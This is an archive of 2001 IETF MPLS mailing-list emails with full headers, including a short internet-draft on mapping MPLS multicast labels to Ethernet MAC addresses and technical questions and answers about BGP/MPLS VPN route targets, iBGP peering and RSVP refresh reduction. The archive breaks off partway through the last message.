From owner-mpls@UU.NET  Mon Oct  1 02:15:49 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA18573
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 02:15:49 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQliuy08963;
	Mon, 1 Oct 2001 06:14:47 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQliuy24119
	for mpls-outgoing; Mon, 1 Oct 2001 06:14:12 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQliuy24112
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 06:14:11 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQliuy08049
	for <mpls@uu.net>; Mon, 1 Oct 2001 06:14:09 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQliuy06197
	for <mpls@uu.net>; Mon, 1 Oct 2001 06:14:00 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id CAA10551 for <mpls@uu.net>; Mon, 1 Oct 2001 02:14:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id CAA18064 for mpls@uu.net; Mon, 1 Oct 2001 02:14:01 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQliuy24087
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 06:13:35 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQliuy02913
	for <mpls@UU.NET>; Mon, 1 Oct 2001 06:12:30 GMT
Received: from hoemail2.firewall.lucent.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hoemail2.lucent.com [192.11.226.163])
	id QQliuy08926
	for <mpls@UU.NET>; Mon, 1 Oct 2001 06:12:41 GMT
Received: from ii0015exch001u.wins.lucent.com (h135-254-248-252.lucent.com [135.254.248.252])
	by hoemail2.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f916CNS09144
	for <mpls@UU.NET>; Mon, 1 Oct 2001 02:12:24 -0400 (EDT)
Received: by II0015EXCH001U with Internet Mail Service (5.5.2650.21)
	id <T5Q6HWL5>; Mon, 1 Oct 2001 11:42:21 +0530
Message-ID: <B0BADCAFF5CDD211989700805F85E3F6081C2ED6@II0015EXCH001U>
From: "Mokshagundam, Subramanya Ramalingasastry (Subramanya)"
	 <subs@lucent.com>
To: mpls@UU.NET
Subject: unsubscribe
Date: Mon, 1 Oct 2001 11:42:11 +0530 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk




From owner-mpls@UU.NET  Mon Oct  1 09:25:45 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA16438
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 09:25:45 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQliwb03432;
	Mon, 1 Oct 2001 13:23:35 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQliwb09281
	for mpls-outgoing; Mon, 1 Oct 2001 13:23:13 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQliwb09276
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 13:23:05 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQliwb19720
	for <mpls@uu.net>; Mon, 1 Oct 2001 13:21:45 GMT
Received: from exchange1.exbit.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: test.exbit.com [213.129.28.92])
	id QQliwb26437
	for <mpls@uu.net>; Mon, 1 Oct 2001 13:21:57 GMT
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
content-class: urn:content-classes:message
Subject: Multicast MPLS and Ethernet
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Date: Mon, 1 Oct 2001 15:21:43 +0200
Message-ID: <3480386340F255438495A675F692EA38079FDB@exchange1.exbit.com>
Thread-Topic: Multicast MPLS and Ethernet
Thread-Index: AcFKfAMWCjj/FO6cQ+uJlICeXgUgKw==
From: "Morten J. Christensen" <mjc@exbit.com>
To: <mpls@UU.NET>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id JAA16438

I have previously enquired about the correct handling
of multicast MPLS over Ethernet but have never 
received any comments.

I have put together a few thoughts on this and
submitted them as an individual internet-draft.
I hope to hear from anyone involved in this aspect
of MPLS.

The draft is embedded in this mail (it's short)

hope to hear from you.

/Morten Jagd Christensen

---CUT---
Internet Draft                                            M. Christensen
October 2001                                                     Vitesse
Expiration Date: March 2002


                      MPLS multicast over Ethernet
                   <draft-mjc-mpls-mcast-eth-00.txt>


Status of this Memo

   This document is an Internet-Draft and is in full conformance with
   all provisions of Section 10 of RFC2026 [RFC2026].

   Internet-Drafts are working documents of the Internet Engineering
   Task Force (IETF), its areas, and its working groups. Note that other
   groups may also distribute working documents as Internet-Drafts.

   Internet-Drafts are draft documents valid for a maximum of six months
   and may be updated, replaced, or obsoleted by other documents at any
   time. It is inappropriate to use Internet-Drafts as reference
   material or to cite them other than as "work in progress."

   The list of current Internet-Drafts can be accessed at
   http://www.ietf.org/ietf/1id-abstracts.txt

   The list of Internet-Draft Shadow Directories can be accessed at
   http://www.ietf.org/shadow.html.

Abstract

   This document is about MPLS multicast transmission over ethernet
   networks. Comparison is made to IP multicast and a mapping to
   ethernet link layer addresses is suggested.

1.  Link layer multicast

The current standard for transmission of MPLS over Ethernet [STACK]
specifies separate Ethernet Type values for unicast and multicast
(0x8847 and 0x8848 respectively). However, the value for the destination
MAC (DMAC) address in the ethernet frame is unspecified.

Typically, unicast MPLS is sent with a (unicast) destination MAC address
matching the next hop MPLS router and here there are no ambiguity. For
MPLS multicast, the framework [MCAST] state in general terms that for
multiaccess networks a MPLS multicast packet should only be sent once.
This indicates that multicast DMAC addresses should be used. There are
several methods for doing this:



Christensen                                                     [Page 1]

INTERNET DRAFT                                              October 2001


     * broadcast address

     * arbitrary locally administered multicast address

     * IPv4/IPv6 mapped multicast address

The broadcast address (FF-FF-FF-FF-FF-FF) is probably not a good idea
because generally these frames will be sent to the local protocol stack
for further protocol demultiplexing (Was it ARP?, SNMP?, ...).

Setting the two least significant bits of the first byte of the Ethernet
DMAC address yields a locally administrated multicast address. Although
a perfectly valid approach, it is not recommended that local adminis-
trated (= arbitrary) DMAC addresses are used for interoperability rea-
sons.

Finally the claim could be made that for all practical purposes the only
protocols supported over MPLS are IPv4 and IPv6. We could then use the
already described procedures for mapping these addresses to DMAC
addresses [IGMPv1] [IP6ETH] (For IPv4 the mapping uses the lower 23 bits
of the (32bit) IPv4 address and places them as the lower 23 bits of a
DMAC with the fixed header of 01-00-5e).  The argument against this
method is that doing so effectively removes the meaning of Multiprotocol
from MPLS by only supporting IPv4 and IPv6.

Also there is an ambiguity when mapping IPv4 addresses to Ethernet DMAC
addresses since 32 bits are mapped to 23. This means that two different
IP multicast addresses potentially mapping to different MPLS paths and
labels can map to the same DMAC address. This again means that there is
a risk that traffic is distributed to the wrong recipients in certain
network scenarios.

We would like to suggest that a mapping similar to IPv4 and IPv6 is
introduced which is reserved for MPLS.

Since the MPLS label is 20bit the mapping from MPLS labels to DMAC
addresses will be unambiguous. So if for example we have a MPLS label of
65535 and our chosen DMAC prefix is 01-00-88, the DMAC will be
01-00-88-00-FF-FF.

2.  References


     [IGMPv1]  Deering, S. "Host Extensions for IP Multicasting",
               RFC1112, August 1989.






Christensen                                                     [Page 2]

INTERNET DRAFT                                              October 2001


     [IP6ETH]  Crawford, M. "Transmission of IPv6 Packets over Ethernet
               Networks", RFC2464, December 1998.


     [STACK]   Rosen, E. "MPLS label stack encoding", RFC3032, January
               2001


     [MCAST]   Ooms, D. "Framework for IP Multicast in MPLS", EXPIRED
               draft-ietf-mpls-multicast-05, January 2001



3.  Author's Addresses:

   Morten Jagd Christensen
   Vitesse Semiconductor Corporation
   Hoerkaer 16
   2730 Herlev
   DENMARK
   email: mjc@vitesse.com




From owner-mpls@UU.NET  Mon Oct  1 09:56:39 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA17582
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 09:56:39 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQliwd10694;
	Mon, 1 Oct 2001 13:54:17 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQliwd11738
	for mpls-outgoing; Mon, 1 Oct 2001 13:54:05 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQliwd11733
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 13:54:00 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQliwd27443
	for <mpls@uu.net>; Mon, 1 Oct 2001 13:53:27 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQliwd20308
	for <mpls@uu.net>; Mon, 1 Oct 2001 13:53:38 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA29970 for <mpls@uu.net>; Mon, 1 Oct 2001 09:53:26 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA08370 for mpls@uu.net; Mon, 1 Oct 2001 09:53:26 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlips01762
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 29 Sep 2001 20:11:33 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlips02090
	for <mpls@UU.NET>; Sat, 29 Sep 2001 20:11:05 GMT
Received: from web14405.mail.yahoo.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14405.mail.yahoo.com [216.136.174.62])
	id QQlips24741
	for <mpls@UU.NET>; Sat, 29 Sep 2001 20:11:16 GMT
Message-ID: <20010929201104.22636.qmail@web14405.mail.yahoo.com>
Received: from [38.246.253.2] by web14405.mail.yahoo.com via HTTP; Sat, 29 Sep 2001 13:11:04 PDT
Date: Sat, 29 Sep 2001 13:11:04 -0700 (PDT)
From: Sam Ford <samskford@yahoo.com>
Subject: RT Import/Export in BGP/MPLS based VPN
To: erosen@cisco.com
Cc: mpls@UU.NET
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello,

I have a doubt on the assignment of RT in BGP/MPLS
VPN,
a little bit off topic from the threat.

I was confused about the assignment of RT when going
through examples in various materials.

Let's say, there are 2 VPNs, in ASN 10.

VPN-1: CE-1 - PE-1, and other sites in full mesh
VPN-2: CE-2 - PE-2, and other sites in full mesh

And one server: CE-3 - PE-3

I want to conntect only CE-1 & CE-2 sites with CE-3
in Central Services VPN topology. (CE-3 does not act
as
transit between CE-1 & CE-2, CE-1 & CE-2 cannot
communicate). So, I assigned RTs as follows:

In PE-1:
  RD: 10:1
  Export/Import: 10:1

In PE-2:
  RD: 10:2
  Export/Import: 10:2

In PE-3:
  RD: 10:3
  Export/Import: 10:1
  Export/Import: 10:2

Assuming there's no IP address overlap among those
sites.

Q1, wouldn't this RT assignment work?

In the examples I've seen, RTs are assinged as
follows:

In PE-1:
  RD: 10:1
  Export/Import: 10:1
  Import: 10:3
  Export: 10:4

In PE-2:
  RD: 10:2
  Export/Import: 10:2
  Import: 10:3
  Export: 10:4

In PE-3:
  RD: 10:3
  Export: 10:3
  Import: 10:4

Q2, Is there any reason to do this way?

Q3, Above, am I creating a new VPN (3) by connecting
CE-3
  to CE-1 & CE-2? Or am I making CE-3 to belong to
  both the existing VPNs (VPN-1 & VPN-2)?

I would appreciate any clarification,
-SF

-----Original Message-----
From:	Eric Rosen [SMTP:erosen@cisco.com]
Sent:	Friday, September 28, 2001 12:39 PM
To:	Eric Gray
Cc:	Ajay Simha; Jay Karthik; MPLS mailing list
Subject:	Re: LDP usage in MPLS based VPNs 


In  the  "hub  and spoke"  case  that  Ajay 
mentioned,  the intent  is  the
following. 

Let H be the  hub, S1 and S2 the spokes.  Let A be 
the address prefix for a
subnet that attaches to S2.  What we want is:

- S1 thinks the route to A is via H. 

- H thinks the route to A is via S2. 

Thus traffic from S1 to A goes via H and then on to
S2. 

To make this work, S2 must distribute a route RD1:A,
and H must distribute a 
route RD2:A.   Both these  routes have to  be able  to
pass through  a route
reflector, since  RD1:A must make  it to  H, and RD2:A
 must make it  to S1.
This  implies that  RD1  must be  different  than RD2;
 otherwise the  route
reflector could not pass on both routes. 

Given that S1,  S2, and H are in the  same VPN, this
is a  case in which you
couldn't just replace the RD with a VPN-id.  There
might also be other cases
in which  you want to pass around  two different
routes to  the same address
prefix, using  policy to decide which  to install
where  (presumably in some
manner that ensures loop-freedom). 



__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com



From owner-mpls@UU.NET  Mon Oct  1 09:59:28 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA17722
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 09:59:28 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQliwd25250;
	Mon, 1 Oct 2001 13:57:18 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQliwd11931
	for mpls-outgoing; Mon, 1 Oct 2001 13:56:46 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQliwd11924
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 13:56:40 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQliwd23854
	for <mpls@uu.net>; Mon, 1 Oct 2001 13:56:22 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQliwd24165
	for <mpls@uu.net>; Mon, 1 Oct 2001 13:56:33 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA29898 for <mpls@uu.net>; Mon, 1 Oct 2001 09:52:53 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA08322 for mpls@uu.net; Mon, 1 Oct 2001 09:52:53 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlimm04324
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 28 Sep 2001 23:07:54 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlimm07366
	for <mpls@UU.NET>; Fri, 28 Sep 2001 23:07:23 GMT
Received: from web14402.mail.yahoo.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14402.mail.yahoo.com [216.136.174.59])
	id QQlimm12153
	for <mpls@UU.NET>; Fri, 28 Sep 2001 23:07:16 GMT
Message-ID: <20010928230722.51302.qmail@web14402.mail.yahoo.com>
Received: from [38.246.253.2] by web14402.mail.yahoo.com via HTTP; Fri, 28 Sep 2001 16:07:22 PDT
Date: Fri, 28 Sep 2001 16:07:22 -0700 (PDT)
From: Sam Ford <samskford@yahoo.com>
Subject: Re: BGP/MPLS based VPN
To: Ajay Simha <asimha@cisco.com>
Cc: mpls@UU.NET
In-Reply-To: <Pine.WNT.4.40.0109262227451.1568-100000@ASIMHA-W2K.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello,

Thanks for clarification.

Another slightly different question. The way I
understood based on some vendor's
manuals, IBGP peering between PEs are manually
provisioned, using bgp neighbor command, for VPN
routes
distribution among PEs. It may require lot of
effort to do it when setting up a pretty big VPN
with many sites without route reflector.

Are there implementations using automatic discovery
of PEs for VPNs? if so, what kinds of method do
they use for discovery (not for data transfer),
e.g. emulated LAN, IGP extension, etc?

Regards,
-SF

--- Ajay Simha <asimha@cisco.com> wrote:
> On Wed, 26 Sep 2001, Sam Ford wrote:
> 
> > Hello,
> >
> > I have the following questions on MPLS based VPN:
> > - One of the advantage over traditional VPN
> >   is cited as elimination of full mesh overlay
> >   when connecting multiple sites.
> >   Then, when does LSP setup in MPLS domain
> >   supporting a particular VPN?
> >   If it needs to be set up statically when
> configuring
> >   VPN, it doesn't seem to be different from
> > traditional
> >   mesh overlay.
> >   Is it set up when traffic is generated?
> 
> You have to remember MPLS is a control driven
> mechanism.  Nothing gets setup
> *when* there is traffic.  It is setup ahead of time.
> 
> Does the LSP need to be setup statically when
> configuring VPNs?
> 
> Depends on the implementation.  I have seen several
> implementations where LSPs
> are setup automatically for all the IGP derived
> routes - this would include
> the PEs and thus nothing special has to be done when
> you configure a VPN.
> 
>  > -
> >Does MPLS based
> >VPN require the same level
> >   of encryption as with traditional IP VPN?
> >   If not, how is it protected from unathorized
> >   access to data or tapping?
> 
> Now you are asking religious question :-)
> Of course the answer is always depends :-)
> 
> When you say IP VPNs do you mean IPSEC based VPNs? 
> If yes, IPSEC based VPNs
> have a different purpose in life.  Right now as I
> type this email, I'm using
> an IPSEC based VPN model and that is because I'm
> going over the public
> Internet.
> 
> If I got a dedicated ISDN/DSL or any other type of
> access into my company's
> network without going over the public Internet I may
> not need encryption.
> 
> If I still feel I need encryption, just as folks did
> in frame relay and atm
> networks they can encrypt their data.
> 
> -ajay
>  > > Thanks in advance,
> > -SF


__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com



From owner-mpls@UU.NET  Mon Oct  1 10:10:09 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18136
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 10:10:09 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQliwe20238;
	Mon, 1 Oct 2001 14:05:13 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQliwe22578
	for mpls-outgoing; Mon, 1 Oct 2001 14:04:37 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQliwe22545
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 14:04:35 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQliwe10263
	for <mpls@uu.net>; Mon, 1 Oct 2001 14:04:02 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQliwe05842
	for <mpls@uu.net>; Mon, 1 Oct 2001 14:04:13 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA01388 for <mpls@uu.net>; Mon, 1 Oct 2001 10:04:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA09356 for mpls@uu.net; Mon, 1 Oct 2001 10:04:02 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQliwe21566
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 14:03:18 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQliwe06662
	for <mpls@UU.NET>; Mon, 1 Oct 2001 14:02:53 GMT
Received: from sj-msg-core-4.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-4.cisco.com [171.71.163.10])
	id QQliwe21142
	for <mpls@UU.NET>; Mon, 1 Oct 2001 14:02:46 GMT
Received: from mira-sjcm-3.cisco.com (mira-sjcm-3.cisco.com [171.69.24.15])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f91E35P24747;
	Mon, 1 Oct 2001 07:03:05 -0700 (PDT)
Received: from cisco.com (dhcp-144-254-89-234.cisco.com [144.254.89.234])
	by mira-sjcm-3.cisco.com (Mirapoint)
	with ESMTP id ABF24825;
	Mon, 1 Oct 2001 07:02:53 -0700 (PDT)
Message-ID: <3BB87762.34084E9C@cisco.com>
Date: Mon, 01 Oct 2001 16:02:10 +0200
From: Robert Raszuk <raszuk@cisco.com>
Reply-To: raszuk@cisco.com
Organization: Signature: http://www.employees.org/~raszuk/sig/
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Sam Ford <samskford@yahoo.com>
CC: Ajay Simha <asimha@cisco.com>, mpls@UU.NET
Subject: Re: BGP/MPLS based VPN
References: <20010928230722.51302.qmail@web14402.mail.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Sam,

Manual ibgp peering is fine when you have no more then 5 PEs. For more
then that just use bgp route reflectors and the problem is solved. One
session per PE (maybe two for redundancy).

Rgs,
R.

> Sam Ford wrote:
> 
> Hello,
> 
> Thanks for clarification.
> 
> Another slightly different question. The way I
> understood based on some vendor's
> manuals, IBGP peering between PEs are manually
> provisioned, using bgp neighbor command, for VPN
> routes
> distribution among PEs. It may require lot of
> effort to do it when setting up a pretty big VPN
> with many sites without route reflector.
> 
> Are there implementations using automatic discovery
> of PEs for VPNs? if so, what kinds of method do
> they use for discovery (not for data transfer),
> e.g. emulated LAN, IGP extension, etc?
> 
> Regards,
> -SF
> 
> --- Ajay Simha <asimha@cisco.com> wrote:
> > On Wed, 26 Sep 2001, Sam Ford wrote:
> >
> > > Hello,
> > >
> > > I have the following questions on MPLS based VPN:
> > > - One of the advantage over traditional VPN
> > >   is cited as elimination of full mesh overlay
> > >   when connecting multiple sites.
> > >   Then, when does LSP setup in MPLS domain
> > >   supporting a particular VPN?
> > >   If it needs to be set up statically when
> > configuring
> > >   VPN, it doesn't seem to be different from
> > > traditional
> > >   mesh overlay.
> > >   Is it set up when traffic is generated?
> >
> > You have to remember MPLS is a control driven
> > mechanism.  Nothing gets setup
> > *when* there is traffic.  It is setup ahead of time.
> >
> > Does the LSP need to be setup statically when
> > configuring VPNs?
> >
> > Depends on the implementation.  I have seen several
> > implementations where LSPs
> > are setup automatically for all the IGP derived
> > routes - this would include
> > the PEs and thus nothing special has to be done when
> > you configure a VPN.
> >
> >  > -
> > >Does MPLS based
> > >VPN require the same level
> > >   of encryption as with traditional IP VPN?
> > >   If not, how is it protected from unathorized
> > >   access to data or tapping?
> >
> > Now you are asking religious question :-)
> > Of course the answer is always depends :-)
> >
> > When you say IP VPNs do you mean IPSEC based VPNs?
> > If yes, IPSEC based VPNs
> > have a different purpose in life.  Right now as I
> > type this email, I'm using
> > an IPSEC based VPN model and that is because I'm
> > going over the public
> > Internet.
> >
> > If I got a dedicated ISDN/DSL or any other type of
> > access into my company's
> > network without going over the public Internet I may
> > not need encryption.
> >
> > If I still feel I need encryption, just as folks did
> > in frame relay and atm
> > networks they can encrypt their data.
> >
> > -ajay
> >  > > Thanks in advance,
> > > -SF
> 
> __________________________________________________
> Do You Yahoo!?
> Listen to your Yahoo! Mail messages from any phone.
> http://phone.yahoo.com



From owner-mpls@UU.NET  Mon Oct  1 10:41:29 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19119
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 10:41:28 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQliwg26611;
	Mon, 1 Oct 2001 14:39:38 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQliwg04411
	for mpls-outgoing; Mon, 1 Oct 2001 14:39:06 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQliwg04400
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 14:39:02 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQliwg24119
	for <mpls@uu.net>; Mon, 1 Oct 2001 14:38:52 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQliwg03364
	for <mpls@uu.net>; Mon, 1 Oct 2001 14:38:45 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA21032
	for <mpls@uu.net>; Mon, 1 Oct 2001 10:38:49 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA00628
	for <mpls@uu.net>; Mon, 1 Oct 2001 10:38:48 -0400 (EDT)
Message-ID: <3BB87FF3.68A7B314@marconi.com>
Date: Mon, 01 Oct 2001 10:38:43 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: RSVP RRE related question ( RFC2961 )
References: <F135r2UAaTzvb5YI9IJ0000a6bd@hotmail.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hariom P wrote:
> 
> I would appreciate if authors/anyone could clarify my doubt ...
> 
> Here is a paragraph from RFC2691 :
> "Note, a node that supports reliable RSVP message delivery (Section
>  4) but not Bundle and Srefresh messages, will not set the Refresh-
>  Reduction-Capable bit."
> 
> any specific reason why RELIABILITY extensions were made not require
> setting of the RRE capable bit?

